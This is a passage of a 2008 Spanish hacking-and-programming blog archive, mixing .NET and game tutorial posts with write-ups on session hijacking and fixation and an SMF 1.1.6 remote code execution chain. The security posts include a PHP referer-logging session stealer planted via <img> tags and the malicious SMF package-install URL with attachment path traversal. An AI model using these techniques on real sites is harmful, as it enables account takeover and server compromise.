domingo, 30 de noviembre de 2008

LINQ in Action 2008

LINQ, una de las grandes novedades de la nueva generación de tecnologías de Microsoft, nos permite a los desarrolladores de C# y VB realizar consultas de forma nativa sobre cualquier colección de datos.




Salu2

PD: Como toda buena información, está en inglés, y mucho me temo, poca encontrarás en español, y más que sea tan completa.
5 0verl0ad Labs: noviembre 2008 LINQ, una de las grandes novedades de la nueva generación de tecnologías de Microsoft, nos permite a los desarrolladores de C# y VB realizar...

jueves, 27 de noviembre de 2008

Universal Hijacking by <img> (GET Method)

Por Vengador de las Sombras (F.O.S. TeaM)


Saludos a todos!

Bueno... antes de empezar, quiero decir que no he visto por ningun lado nada referente a esta técnica, pero en mi opinión es más que probable que haya alguna publicación donde aparezca algo... si alguien encuentra algún link donde ya hablen de esto, por favor posteadlo.


El tema en principio sería el poder robar sesiones en sistemas que usen los identificadores en variables que se introduzcan por método GET. La idea original me ha surgido mientras testeaba una web, estaba observando las cabeceras HTTP y observé que al cargar las imágenes se mostraba una cabecera de petición GET a dicha imagen, y que aparecía el campo "Referer" la URL http://example.org/index.php?id=1234. Bien, esto es una cosa obvia que todo el mundo conoce... pero bueno, mi cabeza empezó a maquinar una idea... (si, lo que todos estais pensando).

El caso es que se me ocurrió aplicar la técnica de explotación de los XSRF (la de <img src=http://example.org/index.php?acion_ha_realizar>) para apuntar a un script php nuestro, donde guardaríamos el Referer ($_SERVER['HTTP_REFERER']).


Para probar, me hice un pequeño PoC en LocalHost. Primero hice un test.php cuyo contenido era únicamente <img src=/stealer.php>. Y otro archivo con el siguiente source:

<?php
$m = fopen("referer.txt","w+");
$texto = $_SERVER['HTTP_REFERER'];
fwrite($m,$texto);
?>



Cuando ya tenía el escenario preparado, procedí a entrar a http://localhost/test.php?session=12345 y esta una de las cabeceras que obtuve:



GET /stealer.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/test.php?session=12345


Y al abrir el archivo referer.txt aparecía la URL http://localhost/test.php?session=12345 , luego el ataque tuvo éxito.


Este ataque (que no creo haber descubierto, por favor si alguien tiene alguna refernecia sobre este ataque que la postee) en principio afectaría a todo tipo de web, blog, foro, etc que dejara postear tags tipo <img> o el BBcode [img], ya que en el caso de un foro por ejemplo, podríamos ponernos una firma que apuntase a nuestro robador de sesiones....


Si existe algún tipo de error, por favor también posteadlo.
5 0verl0ad Labs: noviembre 2008 Por Vengador de las Sombras (F.O.S. TeaM) Saludos a todos! Bueno... antes de empezar, quiero decir que no he visto por ningun lado nada...

jueves, 20 de noviembre de 2008

Session Hijacking & Fixation Method


Por Vengador de las Sombras


Hace ya tiempo Lix me recomendó hacer algún tipo de publicación que hablara de Session Fixation hará como dos o tres semanas... La cosa es que he estado demasiado liado con la universidad y no he tenido tiempo apenas para ponerme a escribir unas líneas sobre el tema y documentarme más (como ya sabes Lix, mil gracias por esos maravillosos links que me expendes).


Bueno... tras esta pequeña introducción pasemos a aclarar conceptos, empezemos por "Session". Una sesión es una interrelación entre un cliente y un servidor basada en un conjunto de caracteres que identifican a dicho cliente, haciendo que se pueda asociar informacion a ese identificador. Por ejemplo, para no tener que estar logeandonos contínuamente, podemos usar un sistema de sesiones que realicen un logeo automático.


El servidor guarda un archivo temporal con la cadena identificadora, y cada vez que compruebe la sesion del cliente (ya sea porque se la dá por una variable de tipo GET, o bien porque se encuentra en una cookie) comprobará esos archivos... Ya comentemos hace tiempo sobre estos archivos temporales, cuando comenté la idea de infectar esos archivos para usarlos a modo de WebShell (idea recogida de una publicación de Hondamena en vZack Forum).


¿Y qué es Session Hijacking?, llamamos Session Hijacking a cualquier método o técnica que tenga como fin el conseguir la session de una víctima. Las formas de conseguir este objetivo son variadas, como por ejemplo sniffeando tráfico (si conseguimos interceptar las peticiones a un host, podremos obtener el identificador de sesion). Hablando de esta forma, que podríamos definirla como "Interceptación", hemos de decir que cuando las sesiones están en variables de tipo GET (es decir, se introducen a través de la ULR) están mucho más expuestas a este tipo de ataque. Otro método menos conocido, probablemente por su dificultad o escasez, es el de "Predicción", basado en realizar un ataque por fuerza bruta hasta obtener una sesión válida... Puede parecer un ataque poco efectivo... pero si se convina con cualquier otra vulnerabilidad obtenemos un ataque plausible. Es el caso del bug que hubo en los foros SMF 1.1.5, en el cual por culpa de los servidores Win32 y de la función rand() se podría "predecir" (tras realizar una fuerza bruta) la sessión del admin y así resetear el password...


Los XSS suelen ir asociados también al robo de sesiones, aunque no son un método en sí, juegan un papel importante tanto en la interceptación (por la posibilidad de, por ejemplo, robar una cookie) como en Session Hijacking, cosa que ya veremos.



Y ahora es cuando viene el método sobre el que vamos a centrar: Session Fixation. En los anteriores métodos siempre se ha desconocido el identificador del cliente y lo que se ha buscado es tratar de averiguar cuál es. En esta ocasión, se cambia la mentalidad y lo que se busca es hacer que el cliente se logee con una sesión que ya conocemos. La ventaja de este método, es que cambiamos el identificador del cliente por uno que conocemos, por lo que cuando nosotros entremos a esa sesión, tendríamos sus mismos privilegios...

Un pequeño PoC para sintetizar brevemente el concepto en sí, puede ser el que aparece en el Blog de Chrish Shiflett, en el cual se muestra el siguiente código fuente:


<?php
session_start();

if (!isset($_SESSION['count']))
{
$_SESSION['count'] = 0;
}
else
{
$_SESSION['count']++;
}

echo $_SESSION['count'];
?>


Si guardan este ejemplo como /session.php y acceden a él a través de /session.php?PHPSESSID=1234, la primera vez veremos un "0", pero si volvemos entrar más veces, podemos observar cómo el número va aumentando. Ahora bien, si tras hacer esto, probamos a entrar a esa misma URL desde otro ordenador... podremos observar que no aparece "0". De esta forma se puede demostrar que esa sessión existe, y que hemos entrado en ella.


Ahora hablemos de como explotar este tipo de fallos. Si la identificación se establece a través de una variable tipo GET, podemos usar ingeniaría social + un iframe oculto, o bien realizar una redirección, ya sea por Meta Refresh o directamente de protocolo (en PHP con un
header('Location: http://host/index.php?PHPSESSID=caracteres');). Si en cambio se trabaja con Cookies... la cosa se complica, pero no demasiado.


Si encontramos un XSS en el host vulnerable, podríamos intentar colar un JavaScript que cree una cookie con la session que nosotros queramos... Pero el problema es que muchos filtros (dificiles de bypassear) no permiten introducir los tags de script, así que podemos recurrir al Meta Tag set-Cookie [1].



Bueno hasta aqui esta pequeña publicación... decir que no he querido extenderme mucho porque Lix tenía pensado publicar algo al respecto de este tema, y no quiero chafarle su paper.



Referencias:

[1]Aceca del Meta Tag Set-cookie
Session Hijacking
Session Fixation
5 0verl0ad Labs: noviembre 2008 Por Vengador de las Sombras Hace ya tiempo Lix me recomendó hacer algún tipo de publicación que hablara de Session Fixation hará como d...

viernes, 14 de noviembre de 2008

Recopilación de tutoriales

Bueno, he encontrado varios tutoriales por la web que están bastante bien para iniciarse con Microsoft Expression Blend. Comparto con ustedes:




Salu2
5 0verl0ad Labs: noviembre 2008 Bueno, he encontrado varios tutoriales por la web que están bastante bien para iniciarse con Microsoft Expression Blend. Comparto con ustede...

Juego del ahorcado

El famoso fuego del "Ahorcado" con Visual Basic y SharpDevelp paso a paso.


Salu2
5 0verl0ad Labs: noviembre 2008 El famoso fuego del "Ahorcado" con Visual Basic y SharpDevelp paso a paso. Descargar vídeo-tutorial + Source Salu2

Autoexamen

En este vídeo-tutorial se hace una introducción tanto al entorno de SharpDevelop como a la sintaxis de C#, para crear una aplicación que servirá para autoexaminarnos.


Salu2
5 0verl0ad Labs: noviembre 2008 En este vídeo-tutorial se hace una introducción tanto al entorno de SharpDevelop como a la sintaxis de C#, para crear una aplicación que ser...

Vídeotutoriales - Desarrollo de videojuegos

Vídeo-tutoriales

01 Matamarcianos [Descargar vídeotutorial + fuentes]
Tecnologías: Laszlo, Eclipse - Nivel técnico: 3-Medio


02 Algoritmo Minimax (IA) [Descargar vídeotutorial + fuentes]
Tecnologías: Java, JSP, Netbeans - Nivel técnico: 3-Medio


03 Pong3D con Java3D [Descargar vídeotutorial + fuentes]
Tecnologías: Java3D, Netbeans - Nivel técnico: 4-Medio/Alto


04 Desarrollo de una bolera virtual [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 5-Avanzado


05 Game Maker [Descargar vídeotutorial + fuentes]
Tecnologías: Game Maker - Nivel técnico: 1-Básico


06 Juego de coches [Descargar vídeotutorial + fuentes]
Tecnologías: J2ME - Nivel técnico: 2-Básico/Medio


07 MazeRunner [Descargar vídeotutorial + fuentes]
Tecnologías: Javascript - Nivel técnico: 3-Medio


08 Búsqueda de soluciones basadas en IA [Descargar vídeotutorial + fuentes]
Tecnologías: Algoritmos de búsqueda - Nivel técnico: 4-Medio/Avanzado


09 El juego del trilero [Descargar vídeotutorial + fuentes]
Tecnologías: Java y UML - Nivel técnico: 2-Básico/Medio


10 Tiro a diana [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 1-Básico


11 Busca las minas [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 2-Básico/Medio


12 Tragaperras [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 1-Básico


13 Tetris [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 4-Medio/Avanzado


En construcción

Salu2
5 0verl0ad Labs: noviembre 2008 Vídeo-tutoriales 01 Matamarcianos [Descargar vídeotutorial + fuentes] Tecnologías: Laszlo, Eclipse - Nivel técnico: 3-Medio 02 Algoritm...

viernes, 7 de noviembre de 2008

SMF 1.1.6 Remote Code Execution

Saludos!


Seguro que si estás leyendo esto es porque te has hecho eco de la publicación de un exploit que explota un RCE en los foros SMF 1.1.6. Quisiera con este post analizar el cómputo de vulnerabilidades que han posibilitado provocar el RCE. Antes de empezar quisiera decir que la información que aquí publico está extraida del exploit. Bien, empecemos...



Como ya he dicho al inicio, esta vulnerabilidad no es una en sí, sino la suma de varias fallas... Empezando por el principio, todos somos conscientes de que para evitar que un admin realice acciones dentro del panel de administración sin ser consciente de ello, es decir, para evitar que se produzca un CSRF, SMF usa un sistema de sesiones.

Para realizar cualquier accion (en principio) el SMF debe de requerir la sesión y así evitar ejecutar algo por clickar sobre un link o algo.. pero como he dicho esto es sólo en "principio", porque para la instalación de paquetes no es requerido.

Entonces estamos ante un CSRF, en el cual podríamos hacer que el administrador instalase paquetes sin que se diera cuenta, simplemente tendríamos que ingeniarnosla para que clickase sobre esta URL:

http://[website]/SMF/index.php?action=packages;sa=install2;package=[filename]

Si analizásemmos el código fuente, podríamos ver que la variable $_REQUEST['package'] no es filtrada, lo que nos permite (aprovechando el CSRF) hacer que el admin instale cualquier tipo de paquete, sin tener en cuenta su localización (en extensión .gzip)

Entonces... si pensamos un poco, podemos encontrar dos formas de subir desde nuestro ordenador un archivo a un foro SMF. Por una parte está el upload de imagenes para usarlas como avatar (casi siempre deshabilitado y dificil de bypassear) y por otra, podemos agregar un archivo a un post, sin importar su extensión.


Ya sólo nos quedaría encontrar el archivo que hemos subido y hacer clickar al admin para que instale todo... Y es aquí donde SMF vuelve a meter la pata: podemos encontrar fácilmente nuestro archivo subido.

SMF cambia el nombre a los archivos que se suben de esta forma, pero al renombrarlos no usa ningún tipo de función que dé caracteres aleatorios sino que lo hace de esta forma:


[id]_[name]_[ext][md5([name].[ext])]


Entonces, la URL maliciosa quedaría tal que así:

http://[website]/SMF/index.php?action=packages;sa=install2;package=../attachments/[nombre de nuestro archivo]


En el exploit que hay en milw0rm lo que se hace es crear un post agregando nuestro archivo .gzip y despues modifica ese post para hacer un [img]
http://[website]/SMF/index.php?action=packages;sa=install2;package=../attachments/[nombre de nuestro archivo][/img] y así cuando un admin vea el post instale todo.





Exploit en Milw0rm
5 0verl0ad Labs: noviembre 2008 Saludos! Seguro que si estás leyendo esto es porque te has hecho eco de la publicación de un exploit que explota un RCE en los foros SMF...
< >